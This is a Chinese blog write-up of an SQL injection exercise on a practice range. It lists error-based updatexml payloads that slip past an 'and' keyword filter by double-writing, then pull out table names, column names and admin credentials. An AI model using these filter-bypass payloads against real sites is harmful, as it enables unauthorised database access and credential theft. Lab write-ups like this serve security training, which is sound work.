封神台靶场-sql-注入绕过防护getshell

最新推荐文章于 2024-06-28 18:10:49 发布

weixin_43446292

最新推荐文章于 2024-06-28 18:10:49 发布

阅读量5.6k

点赞数

CC 4.0 BY-SA版权

文章标签： sql 数据库 web安全

本文链接：https://blog.youkuaiyun.com/weixin_43446292/article/details/123401201

本文探讨了如何通过SQL注入尝试登录admin界面，揭示了数据库过滤机制，以及作者逐步获取表名、列名和敏感数据的过程。最终，作者揭示了密码并利用漏洞进行操作，展示了安全防护的重要性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

url为http://rhiq8003.ia.aqlab.cn/bees/，此页面尝试sql注入，不成功；在路径后面加admin可以跳转到管理员登录界面，
http://rhiq8003.ia.aqlab.cn/bees/admin

在登录框测试sql注入，输入admin’/123456（直接使用admin/admin即可成功登录）
在这里插入图片描述
报错，存在字符型注入，使用报错注入进行测试，根据响应结果可知对and过滤，使用双写
admin’ an and d updatexml(1,concat(0x7e,(select database()),0x7e),1)–+

一、表名
admin’ an and d updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e),1)–+
在这里插入图片描述
没有完全显示出表名，可以使用substr()或者limit，其中limit函数不能与group_concat一起使用
1、admin’ an and d updatexml(1,substr(concat(0x7e,(seselectlect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e),29,50),1)–+
2、admin’ an and d updatexml(1,concat(0x7e,(seselectlect concat(table_name) fr from om information_schema.tables wh where ere table_schema like database() limit 2,1),0x7e),1)
–+
二、列名
admin’ an and d updatexml(1,substr(concat(0x7e,(seselectlect group_concat(column_name) fr from om information_schema.columns wh where ere table_name like ‘bees_admin’),0x7e),1,30),1)–+ 在这里插入图片描述
三、数据
admin’ an and d updatexml(1,substr(concat(0x7e,(seselectlect group_concat(admin_name,0x7e,admin_password) fr from om bees_admin),0x7e),1,30),1)–+